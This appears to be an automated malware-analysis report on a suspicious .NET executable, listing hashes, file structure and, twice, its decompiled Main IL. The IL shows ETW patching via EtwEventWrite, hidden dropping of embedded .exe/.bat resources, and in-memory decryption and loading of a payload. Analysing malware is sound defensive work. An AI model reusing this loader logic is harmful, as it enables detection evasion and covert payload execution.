Suspicious
Suspect

47cfb1cc3ced88660684ec89452231b1

PE Executable
|
MD5: 47cfb1cc3ced88660684ec89452231b1
|
Size: 26.62 KB
|
application/x-dosexec


Print
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Medium

Hash
Hash Value
MD5
47cfb1cc3ced88660684ec89452231b1
Sha1
4e0b98020cd7c70ef27da16e7e475845163d3c92
Sha256
1089d67ce129560fbf95684cdff2841d30d4550f7ddf1c8e19f6d2ec006f6b96
Sha384
ea638994c227bdb472d6d231a85bd52daf74caa5b4c705b33ae5f77606b5fd54c410b3845a88a2b09bc28112f9c957a8
Sha512
f4688e74f86290bccefc0869de129ec6afc85d16e5e31d1788f48413236e96a2180472da9528054c018b9e9333ad6635c1e39f18628348ab934a942e14f98202
SSDeep
384:mRy6AZL2YrKTvcK1NPawqKamI19d/r1rPkf38bRyNPfO+8ajOoXjIr98E+:mOV2JUK11awxchrtM/8b8N373vyu/
TLSH
8EC2BF052B9F8329D2F5037D8AFAA7219535CAC60803DB5F7A88442D6DF73D44A03EA5

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

rtsouvigjo.tmp

Full Name

rtsouvigjo.tmp

EntryPoint

System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])

Scope Name

rtsouvigjo.tmp

Scope Type

ModuleDef

Kind

Console

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

rtsouvigjo

Assembly Version

0.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

20

Main Method

System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])

Main IL Instruction Count

201

Main IL

call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetConsoleWindow() stloc.0 <null> ldloc.0 <null> ldsfld System.Int32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::SW_HIDE call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::ShowWindow(System.IntPtr,System.Int32) pop <null> call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() ldc.i4 16384 callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass) leave.s IL_0026: ldstr "ntdll.dll" pop <null> leave.s IL_0026: ldstr "ntdll.dll" ldstr ntdll.dll call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::LoadLibrary(System.String) stloc.1 <null> ldloc.1 <null> ldstr EtwEventWrite call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetProcAddress(System.IntPtr,System.String) stloc.2 <null> call System.Int32 System.IntPtr::get_Size() ldc.i4.8 <null> beq.s IL_0060: ldc.i4.1 ldc.i4.3 <null> newarr System.Byte stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldc.i4 194 stelem.i1 <null> ldloc.s V_12 ldc.i4.1 <null> ldc.i4.s 20 stelem.i1 <null> ldloc.s V_12 br.s IL_0073: stloc.3 ldc.i4.1 <null> newarr System.Byte stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldc.i4 195 stelem.i1 <null> ldloc.s V_13 stloc.3 <null> ldloc.2 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> conv.i8 <null> call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64) ldsfld System.UInt32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::PAGE_EXECUTE_READWRITE ldloca.s V_4 call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&) pop <null> ldloc.3 <null> ldc.i4.0 <null> ldloc.2 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> call System.Void System.Runtime.InteropServices.Marshal::Copy(System.Byte[],System.Int32,System.IntPtr,System.Int32) ldloc.2 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> conv.i8 <null> call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64) ldloc.s V_4 ldloca.s V_4 call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&) pop <null> ldstr xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe stloc.s V_5 call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() stloc.s V_6 ldloc.s V_6 callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames() stloc.s V_14 ldc.i4.0 <null> stloc.s V_15 br IL_0172: ldloc.s V_15 ldnull <null> stloc.s V_7 newobj System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::.ctor() stloc.s V_8 ldloc.s V_8 ldloc.s V_14 ldloc.s V_15 ldelem.ref <null> stfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldloc.s V_5 call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_016C: ldloc.s V_15 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_016C: ldloc.s V_15 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldstr .exe callvirt System.Boolean System.String::EndsWith(System.String) brtrue.s IL_0123: ldloc.s V_8 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldstr .bat callvirt System.Boolean System.String::EndsWith(System.String) brfalse.s IL_016C: ldloc.s V_15 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_7 brtrue.s IL_015B: ldloc.s V_7 ldloc.s V_8 ldftn System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::<Main>b__0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) stloc.s V_7 ldloc.s V_7 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) call System.Void System.Threading.Thread::Start() leave.s IL_016C: ldloc.s V_15 pop <null> leave.s IL_016C: ldloc.s V_15 ldloc.s V_15 ldc.i4.1 <null> add <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_14 ldlen <null> conv.i4 <null> blt IL_00C9: ldnull ldloc.s V_5 call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String) ldstr iP4YSaIP3CCESv6TOu6gLDJ+LrUN1FpT1bvTLKcuJFs= call System.Byte[] System.Convert::FromBase64String(System.String) ldstr FDLa1osJNMByawQlAfkERw== call System.Byte[] System.Convert::FromBase64String(System.String) call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::uusgwrzhbwbouzpzvgygklwzk(System.Byte[],System.Byte[],System.Byte[]) call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::icxqdmpltubuicwwtsekpmuqh(System.Byte[]) stloc.s V_9 ldc.i4.0 <null> newarr System.String stloc.s V_10 ldarg.0 <null> ldlen <null> conv.i4 <null> ldc.i4.0 <null> bgt.s IL_01BA: ldarg.0 ldc.i4.0 <null> newarr System.String br.s IL_01D2: stloc.s V_10 ldarg.0 <null> ldc.i4.0 <null> ldelem.ref <null> ldc.i4.1 <null> newarr System.Char stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldc.i4.s 32 stelem.i2 <null> ldloc.s V_16 callvirt System.String[] System.String::Split(System.Char[]) stloc.s V_10 leave.s IL_01D9: ldloc.s V_9 pop <null> leave.s IL_01D9: ldloc.s V_9 ldloc.s V_9 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() stloc.s V_11 ldloc.s V_11 ldnull <null> ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldloc.s V_10 stelem.ref <null> ldloc.s V_17 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_020F: ret pop <null> ldloc.s V_11 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_020F: ret ret <null>

Module Name

rtsouvigjo.tmp

Full Name

rtsouvigjo.tmp

EntryPoint

System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])

Scope Name

rtsouvigjo.tmp

Scope Type

ModuleDef

Kind

Console

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

rtsouvigjo

Assembly Version

0.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

20

Main Method

System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])

Main IL Instruction Count

201

Main IL

call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetConsoleWindow() stloc.0 <null> ldloc.0 <null> ldsfld System.Int32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::SW_HIDE call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::ShowWindow(System.IntPtr,System.Int32) pop <null> call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() ldc.i4 16384 callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass) leave.s IL_0026: ldstr "ntdll.dll" pop <null> leave.s IL_0026: ldstr "ntdll.dll" ldstr ntdll.dll call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::LoadLibrary(System.String) stloc.1 <null> ldloc.1 <null> ldstr EtwEventWrite call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetProcAddress(System.IntPtr,System.String) stloc.2 <null> call System.Int32 System.IntPtr::get_Size() ldc.i4.8 <null> beq.s IL_0060: ldc.i4.1 ldc.i4.3 <null> newarr System.Byte stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldc.i4 194 stelem.i1 <null> ldloc.s V_12 ldc.i4.1 <null> ldc.i4.s 20 stelem.i1 <null> ldloc.s V_12 br.s IL_0073: stloc.3 ldc.i4.1 <null> newarr System.Byte stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldc.i4 195 stelem.i1 <null> ldloc.s V_13 stloc.3 <null> ldloc.2 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> conv.i8 <null> call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64) ldsfld System.UInt32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::PAGE_EXECUTE_READWRITE ldloca.s V_4 call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&) pop <null> ldloc.3 <null> ldc.i4.0 <null> ldloc.2 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> call System.Void System.Runtime.InteropServices.Marshal::Copy(System.Byte[],System.Int32,System.IntPtr,System.Int32) ldloc.2 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> conv.i8 <null> call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64) ldloc.s V_4 ldloca.s V_4 call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&) pop <null> ldstr xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe stloc.s V_5 call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() stloc.s V_6 ldloc.s V_6 callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames() stloc.s V_14 ldc.i4.0 <null> stloc.s V_15 br IL_0172: ldloc.s V_15 ldnull <null> stloc.s V_7 newobj System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::.ctor() stloc.s V_8 ldloc.s V_8 ldloc.s V_14 ldloc.s V_15 ldelem.ref <null> stfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldloc.s V_5 call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_016C: ldloc.s V_15 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_016C: ldloc.s V_15 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldstr .exe callvirt System.Boolean System.String::EndsWith(System.String) brtrue.s IL_0123: ldloc.s V_8 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldstr .bat callvirt System.Boolean System.String::EndsWith(System.String) brfalse.s IL_016C: ldloc.s V_15 ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.s V_8 ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_7 brtrue.s IL_015B: ldloc.s V_7 ldloc.s V_8 ldftn System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::<Main>b__0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) stloc.s V_7 ldloc.s V_7 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) call System.Void System.Threading.Thread::Start() leave.s IL_016C: ldloc.s V_15 pop <null> leave.s IL_016C: ldloc.s V_15 ldloc.s V_15 ldc.i4.1 <null> add <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_14 ldlen <null> conv.i4 <null> blt IL_00C9: ldnull ldloc.s V_5 call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String) ldstr iP4YSaIP3CCESv6TOu6gLDJ+LrUN1FpT1bvTLKcuJFs= call System.Byte[] System.Convert::FromBase64String(System.String) ldstr FDLa1osJNMByawQlAfkERw== call System.Byte[] System.Convert::FromBase64String(System.String) call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::uusgwrzhbwbouzpzvgygklwzk(System.Byte[],System.Byte[],System.Byte[]) call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::icxqdmpltubuicwwtsekpmuqh(System.Byte[]) stloc.s V_9 ldc.i4.0 <null> newarr System.String stloc.s V_10 ldarg.0 <null> ldlen <null> conv.i4 <null> ldc.i4.0 <null> bgt.s IL_01BA: ldarg.0 ldc.i4.0 <null> newarr System.String br.s IL_01D2: stloc.s V_10 ldarg.0 <null> ldc.i4.0 <null> ldelem.ref <null> ldc.i4.1 <null> newarr System.Char stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldc.i4.s 32 stelem.i2 <null> ldloc.s V_16 callvirt System.String[] System.String::Split(System.Char[]) stloc.s V_10 leave.s IL_01D9: ldloc.s V_9 pop <null> leave.s IL_01D9: ldloc.s V_9 ldloc.s V_9 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() stloc.s V_11 ldloc.s V_11 ldnull <null> ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldloc.s V_10 stelem.ref <null> ldloc.s V_17 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_020F: ret pop <null> ldloc.s V_11 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_020F: ret ret <null>

47cfb1cc3ced88660684ec89452231b1 (26.62 KB)
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